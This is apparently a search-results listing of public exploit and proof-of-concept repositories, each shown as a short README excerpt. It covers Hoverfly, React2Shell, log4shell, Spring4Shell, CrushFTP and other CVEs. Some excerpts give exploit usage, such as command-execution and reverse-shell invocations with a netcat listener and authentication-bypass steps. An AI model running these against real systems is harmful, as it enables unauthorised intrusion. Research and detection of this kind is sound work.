1325090 matches found
CVE-2025-54123
CVE-2025-54123 Hoverfly CVE RCE Usage Command execution: python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -c whoami Reverse Shell: nc -lvnp 443 python3 CVE-2025-54123.py -u $USER -p $PASS -t "http://example.com:8888" -r $IP 443 Disclaimer This script is intended for...
CVE-2025-2294
CVE-2025-4403 Exploit Details Published : March 27, 2025 Updated : March 28, 2025 Severity : Critical CVSS Score: 9.8 CWE : CWE-22: CWE-22 Improper Limitation of a Pathname to a Restricted Directory 'Path Traversal' Affected Versions : All versions from n/a through 2.5.1 Researcher :...
react2shell-scanner
React2Shell Vulnerability Scanner A safe, non-invasive scanner for detecting React Server Components RSC and Next.js Remote Code Execution vulnerabilities CVE-2025-55182 & CVE-2025-66478. Overview This scanner helps organizations identify whether their web services are vulnerable to the React2She...
CVE-2026-64638-WordPress-Core-XSS2Shell
CVE-2026-64638 — Nuclei Detection Template Template Nuclei for non-intrusive detection of XSS2Shell , a pre-authenticated differential parser in WordPress Core that allows injection of DOM elements into the login page, serving as the basis for an XSS → RCE chain. ⚠️ This template only detects the...
vuln4japi
vuln4japi A vulnerable Java based REST API for demonstrating CVE-2021-44228 log4shell. Motivation Log4Shell took the internet by storm in early December 2021. A Zero Day vulnerability in the Apache Log4j logging library, capable of Remote Code Execution RCE that had organizations across the globe...
CVE-2026-42533-POC
CVE-2026-42533 Pre-auth heap buffer overflow and heap information leak in nginx, caused by missing save/restore of PCRE capture state across the two passes of the script engine. A regex map variable evaluated between two capture references overwrites r-captures, so the LEN pass and the VALUE pass...
CVE-2018-6574-go-get-RCE
CVE-2018-6574-Solution gcc -shared -o attack.so -fPIC attack.c...
Spring4Shell-POC
Spring4Shell CVE-2022-22965 - Remote Code Execution Proof of Concept A fully containerized Proof of Concept PoC demonstrating the exploitation of Spring4Shell CVE-2022-22965 , resulting in Remote Code Execution RCE against a vulnerable Spring Framework application deployed on Apache Tomcat. The...
CVE-2024-5246
Here’s a structured README.md for the NETGEAR ProSAFE Network Management System Remote Code Execution RCE vulnerability PoC: Proof of Concept PoC for Remote Code Execution in NETGEAR ProSAFE Network Management System This repository contains a Proof of Concept PoC script demonstrating a Remote Co...
BUK_TS_KILLER
BUKTSKILLER BUK-TS Exploit RCE Authentification Bypass - CVE-2026-12183: 1. write any password 2. intercept response 3. write "userid=" 4. successfully bypassed Public Exploit for BDU:2025-13914 and CVE-2026-3843...
ore_react2shell_scanner
Rapticore Security Research - React2Shell Scanner A security assessment toolkit developed by the Rapticore Security Research Team for detecting React Server Components RSC vulnerabilities including CVE-2025-55182 React2Shell - a critical Remote Code Execution vulnerability. Overview This toolkit...
CVE-2024-11392
CVE-2024-11392 Hugging Face Transformers MobileViTV2 Deserialization of Untrusted Data Remote Code Execution Vulnerability High-level overview and effects of the vulnerability: The vulnerability allows an attacker to execute arbitrary code on the host machine by supplying a malicious configuratio...
log4j-exploit-fork-bomb
log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: example of launching a fork bomb on a remote server due to vulnerability CVE-2021-44228 1. Create an attacker's LDAP server server module that will serve string and code payloads payload module 2. Create a victim example victim module and pass a...
React2Shell
React2Shell – Advanced Discovery & Exploitation Framework An advanced React Server Components RSC vulnerability scanner and exploiter for CVE-2025-55182 and CVE-2025-66478 affecting Next.js applications. This tool expands upon the original React2Shell research and proof-of-concept by introducing...
CVE-2025-55182
简体中文 | English This is an analysis, validation environment, and POC repository for CVE-225-55182 vulnerability. Learn the Vulnerability See this article 《CVE-2025-55182 Analysis.md》. Verify the vulnerability After setting up the test or debugging environment, run the script poc.py. If a calculato...
CVE-2025-55182-Terminal
Next.js RSC Vulnerability Scanner CVE-2025-66478 / CVE-2025-55182 A lightweight, multi-threaded Proof of Concept PoC tool designed to detect and demonstrate the Next.js React Server Components RSC Remote Code Execution vulnerability React2Shell. This tool allows for both single-target verificatio...
CVE-2024-4040-CrushFTP-server
CVE-2024-4040-CrushFTP-server CrushFTP is a proprietary multi-protocol, multi-platform file transfer server. CVE-2024-4040 - A server side template injection vulnerability in CrushFTP in all versions before 10.7.1 and 11.1.0 on all platforms allows unauthenticated remote attackers to read any...
CVE-2024-53677
CVE-2024-53677 - Apache Struts 2 Root Cause Analysis Lab Environment This repository provides a Docker-based environment to reproduce the CVE-2024-53677 vulnerability in Apache Struts 2. This vulnerability involves path traversal through the file upload functionality in Struts 2. Source This lab...
APACHE-PATH-TRAVERSAL-RCE-CVE-2021-41773-
CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE Educational research project. All testing was performed in an isolated Docker lab. Do not use against any system you do not own. Vulnerability Summary Field| Detail ---|--- CVE ID| CVE-2021-41773 Affected Software| Apache HTTP Server...